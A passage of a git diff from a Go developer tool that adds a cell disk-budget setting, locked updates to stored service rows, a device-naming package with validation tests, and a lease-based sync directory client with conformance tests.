+import "testing" + +// A service's inline key travels by id and lands only on a row this profile +// has, without touching the row's other fields; a row that names a variable +// holds no inline key and is never given one. +func TestProviderKeysWriteOnlyTheKeyOfAKnownService(t *testing.T) { + dir := t.TempDir() + rows := []PersistedSource{ + {ID: "acme", Written: "acme", Region: "us", Order: 1}, + {ID: "envy", Written: "envy", Region: "us", KeyEnv: "ENVY_KEY", Order: 2}, + } + if err := WriteSources(dir, rows); err != nil { + t.Fatal(err) + } + want := ProviderKeys{Sources: map[string]string{"acme": "FAKE-acme", "envy": "FAKE-envy", "gone": "FAKE-gone"}} + if err := WriteProviderKeys(dir, want); err != nil { + t.Fatal(err) + } + got, err := ReadProviderKeys(dir) + if err != nil { + t.Fatal(err) + } + if len(got.Sources) != 1 || got.Sources["acme"] != "FAKE-acme" { + t.Fatalf("only the known inline-key service may hold a key, got %d entries", len(got.Sources)) + } + if held := PersistedSources(dir); held[0].Region != "us" || held[1].KeyEnv != "ENVY_KEY" || held[1].Key != "" { + t.Fatal("a service row's other fields changed") + } + if ProviderKeysHeldBy(dir, want).Sources["gone"] != "" { + t.Fatal("a service this profile lacks is reported held") + } +} diff --git a/internal/config/selfservice.go b/internal/config/selfservice.go index ef5f6bbd79..6cd600b53f 100644 --- a/internal/config/selfservice.go +++ b/internal/config/selfservice.go @@ -99,6 +99,7 @@ var selfServiceGuards = map[string]string{ KeyTaskParallel: guardPressure, KeyTaskMaxLoad: guardPressure, KeyTaskMinFreeMB: guardPressure, + KeyCellBudget: guardPressure, KeyBashBackgroundAfter: guardPressure, // The team defaults: a team's day and the share a sub-team is handed are diff --git a/internal/config/settings.go b/internal/config/settings.go index c5e54b9abb..08d5484553 100644 --- a/internal/config/settings.go +++ b/internal/config/settings.go @@ -426,6 +426,11 @@ const ( // because the page cache has the rest. 0 turns the check off. KeyTaskMinFreeMB = "task.min_free_mb" + // KeyCellBudget is the disk the working files of all cells may use + // together, in gibibytes (internal/cellbudget). Over it, `codeaf cell gc` + // evicts the cells opened longest ago. 0 means no limit. + KeyCellBudget = "cell.budget_gb" + // KeyTaskModel is the model a task runs on when the conversation does not // name one for it (internal/session's taskmodel.go). It is named under // `task.` beside the countdown rather than among the `models.` rows because @@ -1041,6 +1046,14 @@ var OperatorEnvPins = []string{ // CODEAF_FURROW names a furrow to use instead of the one codeaf carries // (internal/furrow). A path to a program is plumbing. "CODEAF_FURROW", + // CODEAF_ENGINE_DAEMON=0 makes every engine verb spawn the engine instead + // of asking its long-lived daemon (internal/cellstore). It is an escape + // hatch that changes speed and never results, so it is plumbing. + "CODEAF_ENGINE_DAEMON", + // CODEAF_BASH names the bash native Windows runs commands in when Git for + // Windows is not where codeaf looks (internal/shell). A path to a program + // is plumbing for the same reason CODEAF_FURROW is. + "CODEAF_BASH", // The three site-attribution pins — a URL, an app name, a category list — // used to sit here, and they are gone rather than moved: the OpenRouter app // this binary reports as is decided in internal/provider from the binary's @@ -1332,6 +1345,13 @@ var OperatorEnvPins = []string{ // make convenient, it is a decision somebody makes on purpose, in a shell, // for one run that genuinely needs it. "CODEAF_ALLOW_PROVIDER_KEYS_IN_SHELL", + // CODEAF_SYNC_URL names the relay that syncs cells between this person's + // machines (internal/syncsetup), and CODEAF_SYNC_INTERVAL_MS is how often + // unsaved turns are flushed to it. They stay in the environment, never + // a row: an unpaired home sends nothing. A persisted row would point + // a machine at a relay it was never told about. + "CODEAF_SYNC_URL", + "CODEAF_SYNC_INTERVAL_MS", } // Defaults the registry owns beyond the ones config.go already declares. @@ -1447,6 +1467,10 @@ const ( // developer's machine is usually theirs. DefaultTaskMinFreeMB = 1536 + // DefaultCellBudgetGB is what internal/cellbudget assumes when nothing + // says otherwise: room for a handful of ordinary checkouts. + DefaultCellBudgetGB = 20 + // DefaultConsentTimeout is ten seconds of reminder, and it is a different // number from the one above because it is a different KIND of clock. The // task countdown runs toward the permissive answer, so it is kept short @@ -2331,6 +2355,16 @@ func (s *Settings) build() []Setting { read: func() string { return strconv.Itoa(TaskMinFreeMBAt(dir)) }, write: func(raw string) error { return writeProfileCount(dir, KeyTaskMinFreeMB, raw) }, }, + Setting{ + Key: KeyCellBudget, Category: CategoryTasks, Kind: SettingText, + Label: "cell disk budget", Unit: "GB", Env: "CODEAF_CELL_BUDGET_GB", + Hint: "how much disk the working files of all cells may use together — " + formatNumber(DefaultCellBudgetGB) + " by " + + "default, and a fraction such as 0.5 is fine. Over it, `codeaf cell gc` evicts " + + "the cells opened longest ago and leaves any a session still holds. 0 stops " + + "any explicit collection. Nothing is removed automatically.", + read: func() string { return formatNumber(CellBudgetGBAt(dir)) }, + write: func(raw string) error { return writeProfileNumber(dir, KeyCellBudget, raw) }, + }, // Which model the work that LEAVES a conversation runs on. It sits with // the countdown and the audit rather than among the model rows for the // reason those two are here: all three are about the work you hand off — @@ -4184,6 +4218,23 @@ func TaskMinFreeMBAt(profileDir string) int { return minFreeMB } +// CellBudgetGBAt resolves the cells' disk budget in gibibytes, fractions +// allowed (0.5 is half a gibibyte): the environment pin, then the persisted row, +// then the default. An unreadable pin is the default rather than an error, so a +// typo cannot lift the budget. 0 is no limit. +func CellBudgetGBAt(profileDir string) float64 { + if raw := strings.TrimSpace(env.Get("CODEAF_CELL_BUDGET_GB")); raw != "" { + if value, err := parseNumber(raw); err == nil { + return value + } + return DefaultCellBudgetGB + } + if value, ok := persistedFloat(profileDir, KeyCellBudget); ok && value >= 0 { + return value + } + return DefaultCellBudgetGB +} + // TaskAdmissionLimitsAt overlays current persisted ceilings on the caller's // startup values. Missing keys preserve those values, including explicit zero. // Both settings come from one read so a newly created gate sees one profile. diff --git a/internal/config/settings_test.go b/internal/config/settings_test.go index 71a458fd1c..498f41dacc 100644 --- a/internal/config/settings_test.go +++ b/internal/config/settings_test.go @@ -9,6 +9,7 @@ import ( "testing" "github.com/Agent-Field/codeaf/internal/automation" + "github.com/Agent-Field/codeaf/internal/cell/celltest" "github.com/Agent-Field/codeaf/internal/pool/poolcfg" "github.com/Agent-Field/codeaf/internal/taxonomy" ) @@ -775,7 +776,9 @@ func TestEveryTierShipsWithAModelAndCanStillBeCleared(t *testing.T) { } } +// C27.7 exercises this behaviour without an opt-in switch. func TestTheTaskThrottleRowsRoundTrip(t *testing.T) { + celltest.Available(t) dir := t.TempDir() rows := registry(t, dir) @@ -826,6 +829,18 @@ func TestTheTaskThrottleRowsRoundTrip(t *testing.T) { t.Fatalf("turning the load check off: %v, %v", err, TaskMaxLoadAt(dir)) } + // The cell budget takes a fraction of a GB, and shows it back the same way. + budget := mustRow(t, rows, KeyCellBudget) + if got := budget.Value(); got != "20" { + t.Fatalf("unset cell.budget_gb reads %q, want 20", got) + } + if err := budget.Apply("0.5"); err != nil || CellBudgetGBAt(dir) != 0.5 { + t.Fatalf("cell.budget_gb after 0.5: %v, %v", err, CellBudgetGBAt(dir)) + } + if err := budget.Apply("lots"); err == nil { + t.Fatal("cell.budget_gb accepted a word") + } + memory := mustRow(t, rows, KeyTaskMinFreeMB) if got := memory.Value(); got != "1536" { t.Fatalf("unset task.min_free_mb reads %q", got) diff --git a/internal/config/sources.go b/internal/config/sources.go index cfc1951d4c..88073f45c8 100644 --- a/internal/config/sources.go +++ b/internal/config/sources.go @@ -75,9 +75,28 @@ func persistedSourcesFrom(values map[string]json.RawMessage) []PersistedSource { return rows } -// WriteSources atomically replaces the non-default service rows while keeping -// every unrelated profile setting. +// WriteSources replaces the non-default service rows with rows, keeping every +// unrelated profile setting. It is for a caller that owns the whole list; one +// that derives the new list from the old one uses [UpdateSources]. func WriteSources(profileDir string, rows []PersistedSource) error { + return UpdateSources(profileDir, func([]PersistedSource) []PersistedSource { return rows }) +} + +// UpdateSources changes the service rows from what the file holds at the moment +// of the write: change is handed the current rows and answers the new ones. The +// read happens under the profile lock, so a service or a key another writer +// stored a moment ago is in the rows change sees and cannot be dropped by a +// list loaded earlier. +func UpdateSources(profileDir string, change func([]PersistedSource) []PersistedSource) error { + return editProfile(profileDir, keyModelSources, func(held map[string]json.RawMessage) (profileChange, error) { + rows := cleanSources(change(persistedSourcesFrom(held))) + return encodeChange(map[string]any{keyModelSources: rows}) + }) +} + +// cleanSources is rows in the form the file keeps: trimmed, without the fields +// a row's kind does not use, and without a row too incomplete to name a service. +func cleanSources(rows []PersistedSource) []PersistedSource { cleaned := make([]PersistedSource, 0, len(rows)) for _, row := range rows { row.ID = strings.TrimSpace(row.ID) @@ -104,7 +123,7 @@ func WriteSources(profileDir string, rows []PersistedSource) error { } cleaned = append(cleaned, row) } - return writeProfileValue(profileDir, keyModelSources, cleaned) + return cleaned } // SourceKeyAt is APIKeyAt's generalisation. The default service keeps its @@ -684,32 +703,34 @@ func collectVendorWords(value any, words *[]string) { } func persistConnectedSource(profileDir string, row PersistedSource) error { - rows := PersistedSources(profileDir) - replaced := false - for index := range rows { - if strings.EqualFold(strings.TrimSpace(rows[index].ID), strings.TrimSpace(row.ID)) { - rows[index] = row - replaced = true - break + return UpdateSources(profileDir, func(rows []PersistedSource) []PersistedSource { + for index := range rows { + if sameServiceID(rows[index].ID, row.ID) { + rows[index] = row + return rows + } } - } - if !replaced { - rows = append(rows, row) - } - return WriteSources(profileDir, rows) + return append(rows, row) + }) +} + +func sameServiceID(a, b string) bool { + return strings.EqualFold(strings.TrimSpace(a), strings.TrimSpace(b)) } // DisconnectService removes one service row and its stored credential. Codex's // rotating tokens live in their owner-only sibling file and leave with it. func DisconnectService(profileDir, id string) error { - rows := PersistedSources(profileDir) - kept := rows[:0] - for _, row := range rows { - if !strings.EqualFold(strings.TrimSpace(row.ID), strings.TrimSpace(id)) { - kept = append(kept, row) + err := UpdateSources(profileDir, func(rows []PersistedSource) []PersistedSource { + kept := rows[:0] + for _, row := range rows { + if !sameServiceID(row.ID, id) { + kept = append(kept, row) + } } - } - if err := WriteSources(profileDir, kept); err != nil { + return kept + }) + if err != nil { return err } if strings.EqualFold(strings.TrimSpace(id), "codex") { diff --git a/internal/config/testdata/profile-keys.ledger b/internal/config/testdata/profile-keys.ledger index 52c4df3a8a..11afd666a7 100644 --- a/internal/config/testdata/profile-keys.ledger +++ b/internal/config/testdata/profile-keys.ledger @@ -16,6 +16,7 @@ attribution attribution.model bash.background_after_seconds brief_after +cell.budget_gb completion_reserve context_fill_pct context_reuse_pct diff --git a/internal/delegate/hostseat_test.go b/internal/delegate/hostseat_test.go new file mode 100644 index 0000000000..ebf82d7e96 --- /dev/null +++ b/internal/delegate/hostseat_test.go @@ -0,0 +1,7 @@ +package delegate + +import "github.com/Agent-Field/codeaf/internal/executor/executortest" + +// These tests run tools with no session, so their calls run on the host seat +// by name; production still refuses a call that lost its session. +func init() { executortest.Host() } diff --git a/internal/delegate/launch.go b/internal/delegate/launch.go index 0c7fd9b4e1..9256f163e0 100644 --- a/internal/delegate/launch.go +++ b/internal/delegate/launch.go @@ -22,6 +22,7 @@ import ( "syscall" "time" + "github.com/Agent-Field/codeaf/internal/executor" "github.com/Agent-Field/codeaf/internal/processgroup" ) @@ -118,7 +119,6 @@ var ErrNoTerminal = errors.New("the program exited without a terminal record") // terminal. The error answered is the context's own, so a run supervisor that // reads `context.Canceled` off a worker knows its own ending cut the task. func Run(ctx context.Context, launch Launch, sink Sink) (Result, error) { - cmd := exec.Command(launch.Bin, launch.Args...) // The marker is a last-resort Linux sweep after SIGKILL stops the engine // before its own subreaper can clean up its descendants. markerBytes := make([]byte, 16) @@ -130,14 +130,22 @@ func Run(ctx context.Context, launch Launch, sink Sink) (Result, error) { if baseEnv == nil { baseEnv = os.Environ() } - cmd.Env = append(append([]string(nil), baseEnv...), processgroup.RunMarkerEnv+"="+marker) + cmd, err := executor.For(ctx).In(launch.Dir).Command(context.Background(), executor.ExecRequest{ + Argv: append([]string{launch.Bin}, launch.Args...), + Env: append(append([]string(nil), baseEnv...), processgroup.RunMarkerEnv+"="+marker), + }) + if err != nil { + return Result{ExitCode: -1}, fmt.Errorf("start %s: %w", launch.Name, err) + } + // THE HOLD RIDES WITH THE PROGRAM. The executor builds and confines the + // command; the hold is this launch's own, handed to the child as an extra + // descriptor so it outlives a host that dies ([HoldEnv]). The executor's + // own stream wiring leaves ExtraFiles to the caller, which is exactly what + // a caller-owned hold is. if launch.Hold != nil && runtime.GOOS != "windows" { cmd.ExtraFiles = []*os.File{launch.Hold} cmd.Env = append(cmd.Env, HoldEnv+"=3") } - cmd.Dir = launch.Dir - cmd.Stdin = nil - processgroup.Configure(cmd) stderr, err := openStderr(launch.StderrPath) if err != nil { return Result{ExitCode: -1}, err diff --git a/internal/devname/devname.go b/internal/devname/devname.go new file mode 100644 index 0000000000..c5f6a46633 --- /dev/null +++ b/internal/devname/devname.go @@ -0,0 +1,124 @@ +// Package devname is what a person calls this computer. +// +// THE DEFAULT IS THE HOST NAME AND A CHOICE IS ONE SMALL FILE. A person who +// never names the computer has no file and keeps seeing the word their operating +// system already uses; a person who does name it writes one line, and that line +// is the name on every screen of every other device from then on. The name is a +// label and never an identity: nothing is authorized by it, two devices may +// share one (the device list tells them apart by a short id), and renaming +// changes no key. +// +// ONE SOURCE OF TRUTH. The sealed record in the relay's directory, the label +// shown when a device is let in, and "typing from " on a chat window all +// read [Name] here, so they cannot disagree about what this computer is called. +package devname + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "strings" + "unicode" + "unicode/utf8" +) + +// Most is the longest name, counted in characters a person sees. +const Most = 32 + +// fileName is the one line a chosen name is kept in, under the codeaf home. +const fileName = "device-name" + +// The reasons a typed name is refused, each a sentence a person can act on. +var ( + ErrEmpty = errors.New("a device name needs at least one visible character") + ErrTooLong = fmt.Errorf("a device name is at most %d characters", Most) + ErrControl = errors.New("a device name cannot hold control characters or line breaks") +) + +// Clean is the name a person typed, trimmed, or the reason it cannot be a name. +// +// A BAD NAME IS REFUSED RATHER THAN REPAIRED. The person is looking at the +// name they typed; silently cutting or stripping it would show them a different +// one on the other computers and leave them to wonder why. +func Clean(typed string) (string, error) { + name := strings.TrimSpace(typed) + switch { + case strings.IndexFunc(name, unicode.IsControl) >= 0: + return "", ErrControl + case name == "": + return "", ErrEmpty + case utf8.RuneCountInString(name) > Most: + return "", ErrTooLong + } + return name, nil +} + +// Default is the host name with any domain cut off, so a list of two laptops +// reads `spark` and not `spark.local.example.com`. A machine that cannot say its +// host name is "a device". +func Default() string { + host, err := os.Hostname() + if dot := strings.IndexByte(host, '.'); dot > 0 { + host = host[:dot] + } + if name, bad := Clean(host); err == nil && bad == nil { + return name + } + return "a device" +} + +// Name is what the codeaf home at dir calls this computer: the name a person +// chose, else the host name. A file that no longer holds a valid name is a name +// that was never chosen. +func Name(dir string) string { + if chosen, ok := Chosen(dir); ok { + return Shown(chosen) + } + return Default() +} + +// mdnsSuffix is what macOS adds to a host name on the local network. +const mdnsSuffix = ".local" + +// Shown is a device name as every screen writes it: without the ".local" a Mac +// adds to its host name. A device record sealed by an older build holds the raw +// host name, and the other devices read that record, so the cut is made where a +// name is read as well as where it is made, and the banner of a moved chat can +// never disagree with the device list about what a computer is called. +func Shown(name string) string { + if len(name) > len(mdnsSuffix) && strings.EqualFold(name[len(name)-len(mdnsSuffix):], mdnsSuffix) { + return name[:len(name)-len(mdnsSuffix)] + } + return name +} + +// Chosen is the name a person gave this computer, and false when they never did. +func Chosen(dir string) (string, bool) { + raw, err := os.ReadFile(path(dir)) + if err != nil { + return "", false + } + name, err := Clean(string(raw)) + return name, err == nil +} + +// Set keeps typed as this computer's name and returns the cleaned name. Nothing +// is written for a name that is refused. +func Set(dir, typed string) (string, error) { + name, err := Clean(typed) + if err != nil { + return "", err + } + if err := os.MkdirAll(dir, 0o700); err != nil { + return "", err + } + // Through a temporary file so a crash never leaves half a name. + temporary := path(dir) + ".new" + if err := os.WriteFile(temporary, []byte(name+"\n"), 0o600); err != nil { + return "", err + } + return name, os.Rename(temporary, path(dir)) +} + +func path(dir string) string { return filepath.Join(dir, fileName) } diff --git a/internal/devname/devname_test.go b/internal/devname/devname_test.go new file mode 100644 index 0000000000..87552fa86e --- /dev/null +++ b/internal/devname/devname_test.go @@ -0,0 +1,97 @@ +package devname + +import ( + "errors" + "os" + "path/filepath" + "strings" + "testing" +) + +func TestCleanTrimsAndKeepsOneToThirtyTwoCharacters(t *testing.T) { + cases := map[string]string{ + " desk ": "desk", + "a": "a", + strings.Repeat("é", Most): strings.Repeat("é", Most), + "my laptop (work)": "my laptop (work)", + } + for typed, want := range cases { + if got, err := Clean(typed); err != nil || got != want { + t.Errorf("Clean(%q) = %q, %v; want %q", typed, got, err, want) + } + } +} + +func TestCleanRefusesWhatCannotBeANameWithTheReason(t *testing.T) { + cases := map[string]error{ + "": ErrEmpty, + " \t ": ErrEmpty, + strings.Repeat("x", Most+1): ErrTooLong, + "two\nlines": ErrControl, + "esc\x1b[31mred": ErrControl, + "c1\u009bcontrol": ErrControl, + } + for typed, want := range cases { + if _, err := Clean(typed); !errors.Is(err, want) { + t.Errorf("Clean(%q) error = %v; want %v", typed, err, want) + } + } +} + +func TestNameIsTheHostNameUntilAPersonChoosesOne(t *testing.T) { + dir := t.TempDir() + if got := Name(dir); got != Default() { + t.Fatalf("unnamed computer is %q; want the host name %q", got, Default()) + } + if _, err := Set(dir, " studio "); err != nil { + t.Fatal(err) + } + if got := Name(dir); got != "studio" { + t.Fatalf("named computer is %q; want studio", got) + } +} + +func TestARefusedNameChangesNothing(t *testing.T) { + dir := t.TempDir() + if _, err := Set(dir, "studio"); err != nil { + t.Fatal(err) + } + if _, err := Set(dir, "bad\x00"); err == nil { + t.Fatal("a name with a control character was kept") + } + if got := Name(dir); got != "studio" { + t.Fatalf("name after a refused rename is %q; want studio", got) + } +} + +func TestDefaultCutsTheDomainOff(t *testing.T) { + if strings.Contains(Default(), ".") && !strings.HasPrefix(Default(), ".") { + t.Fatalf("default %q still carries a domain", Default()) + } +} + +func TestShownCutsTheLocalSuffixAMacHostNameCarries(t *testing.T) { + cases := map[string]string{ + "mac.local": "mac", + "Mac.LOCAL": "Mac", + "desk": "desk", + "my.laptop": "my.laptop", + ".local": ".local", + "a.local.local": "a.local", + } + for name, want := range cases { + if got := Shown(name); got != want { + t.Errorf("Shown(%q) = %q; want %q", name, got, want) + } + } +} + +func TestNameIsShownThroughTheSameRuleForAChosenName(t *testing.T) { + dir := t.TempDir() + if err := os.WriteFile(filepath.Join(dir, fileName), []byte("studio.local\n"), 0o600); err != nil { + t.Fatal(err) + } + if got := Name(dir); got != "studio" { + t.Fatalf("Name = %q; a chosen name reads like every other label", got) + } +} diff --git a/internal/directory/client.go b/internal/directory/client.go new file mode 100644 index 0000000000..c927b6c9a2 --- /dev/null +++ b/internal/directory/client.go @@ -0,0 +1,102 @@ +package directory + +import ( + "context" + "errors" + "time" + + "github.com/Agent-Field/codeaf/internal/wireauth" +) + +// Client is the whole directory as one device sees it. The device is a fact of +// the Client itself (the relay reads it from the request signature), so no +// method takes one. Every write is a compare-and-swap decided by rules.go. +type Client interface { + List(ctx context.Context) (Listing, error) // everything a home list needs, one request + Cell(ctx context.Context, id string) (CellView, error) + + PutDevice(ctx context.Context, id string, d Device) error // upsert this device's record; never touches Revoked + Revoke(ctx context.Context, id string) error // stop another device of this identity; ErrNotFound, ErrSelfRevoke + SetVault(ctx context.Context, old, new string) error // CAS identity.vault; ErrCAS + + Create(ctx context.Context, id string, in CellInit) (CellView, error) // ErrExists + Acquire(ctx context.Context, id string, opts AcquireOpts) (CellView, error) // ErrLeaseHeld unless opts.Force + Heartbeat(ctx context.Context, id string, b Beat) (CellView, error) // ErrFenceStale + Publish(ctx context.Context, id string, p Publish) (CellView, error) // ErrFenceStale, ErrHeadMoved + Release(ctx context.Context, id string, fence uint64) error // ErrFenceStale + Archive(ctx context.Context, id string) error // idempotent + + // Presence says which devices hold a watch socket now, and when the + // others were last seen. Live changes arrive on the watch socket instead. + Presence(ctx context.Context) (PresenceView, error) + + // ApproveRequest lets a device that asked to join (see Requests) into this + // identity: it writes the device's record, keeps the grant for it and + // tells the other devices. The first decision wins; repeating it is a + // success. ErrRequestGone, ErrAlreadyDecided, ErrBadRequest, ErrTooBig. + ApproveRequest(ctx context.Context, code string, a Approval) error + // DenyRequest turns a request down. ErrRequestGone, ErrAlreadyDecided. + DenyRequest(ctx context.Context, code string) error + + // Rotate makes one move of the identity's replacement (freeze, thaw, + // retire); Rotation reads where it stands. A replaced identity answers every + // write with ErrRotated and every read as before. + Rotate(ctx context.Context, req RotationReq) (RotationView, error) + Rotation(ctx context.Context) (RotationView, error) +} + +// AcquireOpts says how a device takes a lease. Its JSON is the acquire +// request body, and an empty body means the zero value. +type AcquireOpts struct { + // RequireConditional is a continuation's local safety requirement, even + // when the observed holder has gone quiet. An ordinary non-forced resume + // still works on older services, whose live-holder check is already atomic. + RequireConditional bool `json:"-"` + // Force takes the lease from a live holder. It is for a person who chose to + // continue a chat where it runs now: waiting out the holder's lease would + // make them sit through the time a dead holder's row takes to go off. + Force bool `json:"force,omitempty"` + // Expect is the holder and fence the person chose to displace. Omitting it + // preserves the acquire behavior of clients predating conditional takes. + Expect *LeaseExpectation `json:"expect,omitempty"` +} + +// LeaseExpectation binds a continuation to the lease the taking device read, +// so another continuation during its fetch wins rather than being displaced. +type LeaseExpectation struct { + Device string `json:"device"` + Fence uint64 `json:"fence"` +} + +// Directory is one identity's shared directory; For gives each device its own +// Client. The relay handler calls For(deviceFromSignature) once per request. +type Directory interface { + For(device string) Client +} + +// The lease timings every device and the directory agree on. A publish renews +// the lease and a heartbeat is sent only while nothing was published, so the +// relay sees one request per HeartbeatEvery at most and the TTL still covers +// two missed beats. +const ( + LeaseTTL = 90 * time.Second + HeartbeatEvery = 30 * time.Second +) + +// The errors a Client returns. Callers compare with errors.Is. +var ( + ErrNotFound = errors.New("directory: not found") + ErrExists = errors.New("directory: exists") + ErrLeaseHeld = errors.New("directory: lease held by another device") + ErrFenceStale = errors.New("directory: fence superseded") // L7 + ErrHeadMoved = errors.New("directory: head moved") + ErrCAS = errors.New("directory: compare-and-swap failed") + ErrRevoked = wireauth.ErrRevoked // every verb of a revoked device; the wires share this one sentinel + ErrSelfRevoke = errors.New("directory: a device cannot revoke itself") + ErrUnauthorized = errors.New("directory: unauthorized") + ErrUnreachable = errors.New("directory: unreachable") // transport; callers degrade + ErrTooOld = errors.New("directory: this relay is too old for that") + // ErrConditionalTake names the update needed before an old service can + // safely move chats; its other read and pairing doors remain usable. + ErrConditionalTake = errors.New("the sync service must be updated before chats can move; codeaf's operators update the hosted service, or run this build of codeaf relay for your own service") +) diff --git a/internal/directory/conditional_take_test.go b/internal/directory/conditional_take_test.go new file mode 100644 index 0000000000..5d2d9acffa --- /dev/null +++ b/internal/directory/conditional_take_test.go @@ -0,0 +1,58 @@ +package directory_test + +import ( + "context" + "encoding/json" + "errors" + "net/http" + "net/http/httptest" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// TestC7OldServiceRefusesTakesAcrossClients proves C7 at the HTTP door: +// capability absence is cached per service, while ordinary reads still work. +func TestC7OldServiceRefusesTakesAcrossClients(t *testing.T) { + reads, takes := 0, 0 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if strings.HasSuffix(r.URL.Path, "/acquire") { + takes++ + t.Error("old service received a take") + } + reads++ + _ = json.NewEncoder(w).Encode(directory.CellView{}) + })) + defer srv.Close() + for _, opts := range []directory.AcquireOpts{{Force: true}, {RequireConditional: true}} { + client := directory.NewHTTP(srv.URL, fakeSign("id_one", devA), srv.Client()) + _, err := client.Acquire(context.Background(), cellX, opts) + if !errors.Is(err, directory.ErrConditionalTake) { + t.Fatalf("take = %v", err) + } + } + if reads != 1 || takes != 0 { + t.Fatalf("requests: reads=%d takes=%d", reads, takes) + } +} + +// TestC7OldServiceStillAllowsAnOrdinaryResume proves C7's compatibility +// boundary: a local non-forced resume cannot displace a live other holder. +func TestC7OldServiceStillAllowsAnOrdinaryResume(t *testing.T) { + reads, resumes := 0, 0 + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.Method == http.MethodPost && strings.HasSuffix(r.URL.Path, "/acquire") { + resumes++ + } else { + reads++ + } + _ = json.NewEncoder(w).Encode(directory.CellView{}) + })) + defer srv.Close() + client := directory.NewHTTP(srv.URL, fakeSign("id_one", devA), srv.Client()) + _, err := client.Acquire(context.Background(), cellX, directory.AcquireOpts{Expect: &directory.LeaseExpectation{Device: devA, Fence: 1}}) + if err != nil || resumes != 1 || reads != 0 { + t.Fatalf("ordinary resume: err=%v resumes=%d reads=%d", err, resumes, reads) + } +} diff --git a/internal/directory/directorytest/clock.go b/internal/directory/directorytest/clock.go new file mode 100644 index 0000000000..bf58735a8f --- /dev/null +++ b/internal/directory/directorytest/clock.go @@ -0,0 +1,89 @@ +// Package directorytest is the conformance suite every directory.Client +// implementation must pass, plus the fake clock it runs on. +package directorytest + +import ( + "sync" + "time" +) + +// Clock is the directory's time as a suite may observe and wait on it. The +// fake clock moves when a case waits; a live relay's clock moves by itself and +// waiting is real. +type Clock interface { + Now() time.Time + // Wait returns once the directory's clock has moved on by d. + Wait(d time.Duration) +} + +// FakeClock is a clock that moves only when a test says so, and keeps the +// timers its After hands out: they run when the clock moves past them. +type FakeClock struct { + mu sync.Mutex + t time.Time + timers []*fakeTimer +} + +// fakeTimer is one pending After; it runs once, when the clock reaches due. +type fakeTimer struct { + due time.Time + fn func() + done bool +} + +// NewFakeClock starts at a fixed instant so runs are repeatable. +func NewFakeClock() *FakeClock { return &FakeClock{t: time.UnixMilli(1_700_000_000_000)} } + +// Now is the value handed to the directory as its clock. +func (c *FakeClock) Now() time.Time { + c.mu.Lock() + defer c.mu.Unlock() + return c.t +} + +// Advance moves the clock forward by d and then runs every timer it passed, the +// earliest first. A timer may set another; one that falls due inside d runs too. +func (c *FakeClock) Advance(d time.Duration) { + c.mu.Lock() + c.t = c.t.Add(d) + c.mu.Unlock() + for fn := c.popDue(); fn != nil; fn = c.popDue() { + fn() + } +} + +// After is the directory's timers on this clock: fn runs once the clock has +// moved d, and the stop it answers reports whether it beat the run. +func (c *FakeClock) After(d time.Duration, fn func()) (stop func() bool) { + c.mu.Lock() + defer c.mu.Unlock() + t := &fakeTimer{due: c.t.Add(d), fn: fn} + c.timers = append(c.timers, t) + return func() bool { + c.mu.Lock() + defer c.mu.Unlock() + was := !t.done + t.done = true + return was + } +} + +// popDue answers the earliest timer that is due and marks it run, or nil. +func (c *FakeClock) popDue() func() { + c.mu.Lock() + defer c.mu.Unlock() + var first *fakeTimer + for _, t := range c.timers { + if !t.done && !t.due.After(c.t) && (first == nil || t.due.Before(first.due)) { + first = t + } + } + if first == nil { + return nil + } + first.done = true + return first.fn +} + +// Wait moves the clock forward by d, so it is Advance under the Clock name. +func (c *FakeClock) Wait(d time.Duration) { c.Advance(d) } diff --git a/internal/directory/directorytest/conditional.go b/internal/directory/directorytest/conditional.go new file mode 100644 index 0000000000..4c9189dace --- /dev/null +++ b/internal/directory/directorytest/conditional.go @@ -0,0 +1,52 @@ +package directorytest + +import ( + "testing" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// RunConditionalTakes proves C7 against either relay through its real HTTP +// client, without the long clock-driven lease-liveness cases. +func RunConditionalTakes(t *testing.T, factory RigFactory) { + for name, run := range map[string]func(*testing.T, env){ + "OneWinner": conditionalForcedTakeOneWins, + "HolderAndFence": conditionalTakeChecksHolderAndFence, + } { + t.Run(name, func(t *testing.T) { run(t, envOf(factory(t))) }) + } +} + +// conditionalForcedTakeOneWins proves C7: two people who saw A's live lease +// cannot both win, even if the loser asks by force after the winner finishes. +func conditionalForcedTakeOneWins(t *testing.T, e env) { + v := start(t, e) + seen := &directory.LeaseExpectation{Device: v.Cell.Lease.Device, Fence: v.Cell.Lease.Fence} + win, err := e.as(devB).Acquire(ctx, cell, directory.AcquireOpts{Force: true, Expect: seen}) + must(t, err) + _, err = e.as(devA).Acquire(ctx, cell, directory.AcquireOpts{Force: true, Expect: seen}) + wantErr(t, err, directory.ErrLeaseHeld) + if now := get(t, e); now.Lease != win.Cell.Lease { + t.Fatalf("the losing continuation changed the winner's lease: %+v", now.Lease) + } + // An older client that omits the expectation keeps its original behavior. + _, err = e.as(devA).Acquire(ctx, cell, directory.AcquireOpts{Force: true}) + must(t, err) +} + +// conditionalTakeChecksHolderAndFence proves C7: neither a matching holder +// alone nor a matching fence alone is the lease the person chose. +func conditionalTakeChecksHolderAndFence(t *testing.T, e env) { + v := start(t, e) + lease := v.Cell.Lease + for _, seen := range []directory.LeaseExpectation{ + {Device: e.id(devB), Fence: lease.Fence}, + {Device: lease.Device, Fence: lease.Fence + 1}, + } { + _, err := e.as(devB).Acquire(ctx, cell, directory.AcquireOpts{Force: true, Expect: &seen}) + wantErr(t, err, directory.ErrLeaseHeld) + } + if got := get(t, e).Lease; got != lease { + t.Fatalf("a mismatched continuation changed the lease: %+v", got) + } +} diff --git a/internal/directory/directorytest/lease.go b/internal/directory/directorytest/lease.go new file mode 100644 index 0000000000..af79a13ac0 --- /dev/null +++ b/internal/directory/directorytest/lease.go @@ -0,0 +1,450 @@ +package directorytest + +import ( + "context" + "net/http" + "net/url" + "strconv" + "strings" + "testing" + "time" + + "github.com/coder/websocket" + + "github.com/Agent-Field/codeaf/internal/directory" +) + +// cellB is a second cell, for the cases about another device's lease. +const cellB = "01J0000000000000000000000B" + +// dialWait bounds how long a lease case waits for the relay to answer an upgrade. +// It is longer than frameWait on purpose: a local `wrangler dev` runtime stops +// answering for 10 to 15 s after the watch suite's thousand-socket case closes +// them all (measured with a bare unsigned GET, on a Worker without any lease +// code), and a case whose first request is a dial would otherwise fail for it. +const dialWait = 30 